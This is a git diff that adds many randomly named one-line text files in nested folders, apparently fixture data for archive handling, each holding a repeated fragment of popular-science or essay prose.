diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/file_zcnkqyinwlgitwjudtzocbo.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/file_zcnkqyinwlgitwjudtzocbo.txt
new file mode 100644
index 0000000..43d27c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/file_zcnkqyinwlgitwjudtzocbo.txt
@@ -0,0 +1 @@
+should, because of Titan’s low gravity, rapidly escape to space by a violent process known
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_afitvyzuuecrqepfspduuv.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_afitvyzuuecrqepfspduuv.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_afitvyzuuecrqepfspduuv.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_cnawooiswpbnxbyozberc.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_cnawooiswpbnxbyozberc.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_cnawooiswpbnxbyozberc.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_dnazpboorjigjogd.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_dnazpboorjigjogd.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_dnazpboorjigjogd.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_frilnpuhrd.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_frilnpuhrd.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_frilnpuhrd.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_gzxiaqvvrhptxdshikkpdvx.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_gzxiaqvvrhptxdshikkpdvx.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_gzxiaqvvrhptxdshikkpdvx.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_ivlspzbmvtmlqmghkmzl.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_ivlspzbmvtmlqmghkmzl.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_ivlspzbmvtmlqmghkmzl.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_jazoedxslorsgwsjklwkyvm.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_jazoedxslorsgwsjklwkyvm.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_jazoedxslorsgwsjklwkyvm.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_jexfwjjhepjebqzclh.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_jexfwjjhepjebqzclh.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_jexfwjjhepjebqzclh.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_ldlsximqutp.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_ldlsximqutp.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_ldlsximqutp.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_loqacgphvoggzxzjoiqozlk.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_loqacgphvoggzxzjoiqozlk.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_loqacgphvoggzxzjoiqozlk.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_ltxbkwauojtubi.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_ltxbkwauojtubi.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_ltxbkwauojtubi.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_mqgofqbnlg.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_mqgofqbnlg.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_mqgofqbnlg.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_owcyvxmhv.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_owcyvxmhv.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_owcyvxmhv.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_qefeahebihaufecywr.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_qefeahebihaufecywr.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_qefeahebihaufecywr.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_rgjdrzpgsiql.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_rgjdrzpgsiql.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_rgjdrzpgsiql.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_sguhcgpbgejmioynp.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_sguhcgpbgejmioynp.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_sguhcgpbgejmioynp.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_sniffjuphwbhcnvjbdilghd.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_sniffjuphwbhcnvjbdilghd.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_sniffjuphwbhcnvjbdilghd.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_tiqocfviyquugjrwn.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_tiqocfviyquugjrwn.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_tiqocfviyquugjrwn.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_uvbcztmvqijqagjukyquplw.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_uvbcztmvqijqagjukyquplw.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_uvbcztmvqijqagjukyquplw.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_vqdbiyqeoqxuta.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_vqdbiyqeoqxuta.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_vqdbiyqeoqxuta.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_wxlmmgshnvetvbgsnrpojhg.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_wxlmmgshnvetvbgsnrpojhg.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_wxlmmgshnvetvbgsnrpojhg.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_zksfbidreqzszsmmcbppti.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_zksfbidreqzszsmmcbppti.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_zksfbidreqzszsmmcbppti.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_zqslqkdho.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_zqslqkdho.txt
new file mode 100644
index 0000000..ea65062
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/file_zqslqkdho.txt
@@ -0,0 +1 @@
+commune, with once free-living parts all banded together for the common good. And you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_csztqsntgaqkiwrvz.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_csztqsntgaqkiwrvz.txt
new file mode 100644
index 0000000..be0fbcd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_csztqsntgaqkiwrvz.txt
@@ -0,0 +1 @@
+international crisis and internecine warfare within the human family are the principal
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_jksyzorjpktclllhxy.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_jksyzorjpktclllhxy.txt
new file mode 100644
index 0000000..be0fbcd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_jksyzorjpktclllhxy.txt
@@ -0,0 +1 @@
+international crisis and internecine warfare within the human family are the principal
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_pdkmetqzrtzupkwi.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_pdkmetqzrtzupkwi.txt
new file mode 100644
index 0000000..be0fbcd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_pdkmetqzrtzupkwi.txt
@@ -0,0 +1 @@
+international crisis and internecine warfare within the human family are the principal
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_ppmhsxtygbyfucrhhclwantc.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_ppmhsxtygbyfucrhhclwantc.txt
new file mode 100644
index 0000000..be0fbcd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_ppmhsxtygbyfucrhhclwantc.txt
@@ -0,0 +1 @@
+international crisis and internecine warfare within the human family are the principal
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_qagdszjcfwnofy.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_qagdszjcfwnofy.txt
new file mode 100644
index 0000000..be0fbcd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_qagdszjcfwnofy.txt
@@ -0,0 +1 @@
+international crisis and internecine warfare within the human family are the principal
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_qdmnpfvsmqkbvi.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_qdmnpfvsmqkbvi.txt
new file mode 100644
index 0000000..be0fbcd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_qdmnpfvsmqkbvi.txt
@@ -0,0 +1 @@
+international crisis and internecine warfare within the human family are the principal
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_qtibjpoiyovicqaizlkbag.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_qtibjpoiyovicqaizlkbag.txt
new file mode 100644
index 0000000..be0fbcd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_qtibjpoiyovicqaizlkbag.txt
@@ -0,0 +1 @@
+international crisis and internecine warfare within the human family are the principal
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_qvfsnlypegcbl.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_qvfsnlypegcbl.txt
new file mode 100644
index 0000000..be0fbcd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_qvfsnlypegcbl.txt
@@ -0,0 +1 @@
+international crisis and internecine warfare within the human family are the principal
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_rkscobucyfmutotg.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_rkscobucyfmutotg.txt
new file mode 100644
index 0000000..be0fbcd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_rkscobucyfmutotg.txt
@@ -0,0 +1 @@
+international crisis and internecine warfare within the human family are the principal
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_wgwfgvdejykgfmvvkxe.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_wgwfgvdejykgfmvvkxe.txt
new file mode 100644
index 0000000..be0fbcd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_wgwfgvdejykgfmvvkxe.txt
@@ -0,0 +1 @@
+international crisis and internecine warfare within the human family are the principal
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_xiknklgskmjmbmfkjkawc.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_xiknklgskmjmbmfkjkawc.txt
new file mode 100644
index 0000000..be0fbcd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_xiknklgskmjmbmfkjkawc.txt
@@ -0,0 +1 @@
+international crisis and internecine warfare within the human family are the principal
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_zkbhobvbns.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_zkbhobvbns.txt
new file mode 100644
index 0000000..be0fbcd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/file_zkbhobvbns.txt
@@ -0,0 +1 @@
+international crisis and internecine warfare within the human family are the principal
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/eqtsbralqyze.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/eqtsbralqyze.txt
new file mode 100644
index 0000000..35a8dae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/eqtsbralqyze.txt
@@ -0,0 +1 @@
+researcher himself is unaware of its presence, lies a kernel of awe.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_cptvsfbnvvthb.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_cptvsfbnvvthb.txt
new file mode 100644
index 0000000..910e821
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_cptvsfbnvvthb.txt
@@ -0,0 +1 @@
+many things that had not been seen before our own age. The novelty of these things,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_cpxwxjnfxeqaxqmhnyppsgh.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_cpxwxjnfxeqaxqmhnyppsgh.txt
new file mode 100644
index 0000000..910e821
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_cpxwxjnfxeqaxqmhnyppsgh.txt
@@ -0,0 +1 @@
+many things that had not been seen before our own age. The novelty of these things,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_dfiuvjbenj.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_dfiuvjbenj.txt
new file mode 100644
index 0000000..910e821
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_dfiuvjbenj.txt
@@ -0,0 +1 @@
+many things that had not been seen before our own age. The novelty of these things,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_execbupqij.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_execbupqij.txt
new file mode 100644
index 0000000..910e821
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_execbupqij.txt
@@ -0,0 +1 @@
+many things that had not been seen before our own age. The novelty of these things,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_jlwgkstiprbzuimwqknlyeqb.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_jlwgkstiprbzuimwqknlyeqb.txt
new file mode 100644
index 0000000..910e821
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_jlwgkstiprbzuimwqknlyeqb.txt
@@ -0,0 +1 @@
+many things that had not been seen before our own age. The novelty of these things,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_kkuixjobjgu.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_kkuixjobjgu.txt
new file mode 100644
index 0000000..910e821
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_kkuixjobjgu.txt
@@ -0,0 +1 @@
+many things that had not been seen before our own age. The novelty of these things,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_meawwubm.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_meawwubm.txt
new file mode 100644
index 0000000..910e821
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_meawwubm.txt
@@ -0,0 +1 @@
+many things that had not been seen before our own age. The novelty of these things,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_nobgsmwxqzeijaphh.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_nobgsmwxqzeijaphh.txt
new file mode 100644
index 0000000..910e821
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_nobgsmwxqzeijaphh.txt
@@ -0,0 +1 @@
+many things that had not been seen before our own age. The novelty of these things,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_plvsiejcseadx.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_plvsiejcseadx.txt
new file mode 100644
index 0000000..910e821
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_plvsiejcseadx.txt
@@ -0,0 +1 @@
+many things that had not been seen before our own age. The novelty of these things,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_pxhqcuxlfctpvhmhjaiswwk.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_pxhqcuxlfctpvhmhjaiswwk.txt
new file mode 100644
index 0000000..910e821
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_pxhqcuxlfctpvhmhjaiswwk.txt
@@ -0,0 +1 @@
+many things that had not been seen before our own age. The novelty of these things,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_pytmsmelwy.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_pytmsmelwy.txt
new file mode 100644
index 0000000..910e821
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_pytmsmelwy.txt
@@ -0,0 +1 @@
+many things that had not been seen before our own age. The novelty of these things,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_qejoqwwieovriuej.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_qejoqwwieovriuej.txt
new file mode 100644
index 0000000..910e821
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_qejoqwwieovriuej.txt
@@ -0,0 +1 @@
+many things that had not been seen before our own age. The novelty of these things,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_trvjrpnegcfcytklqo.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_trvjrpnegcfcytklqo.txt
new file mode 100644
index 0000000..910e821
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_trvjrpnegcfcytklqo.txt
@@ -0,0 +1 @@
+many things that had not been seen before our own age. The novelty of these things,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_uorfelfxzecgjyqfizaxvrn.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_uorfelfxzecgjyqfizaxvrn.txt
new file mode 100644
index 0000000..910e821
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_uorfelfxzecgjyqfizaxvrn.txt
@@ -0,0 +1 @@
+many things that had not been seen before our own age. The novelty of these things,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_wzejbfbh.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_wzejbfbh.txt
new file mode 100644
index 0000000..910e821
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_wzejbfbh.txt
@@ -0,0 +1 @@
+many things that had not been seen before our own age. The novelty of these things,
\ No newline at end of file
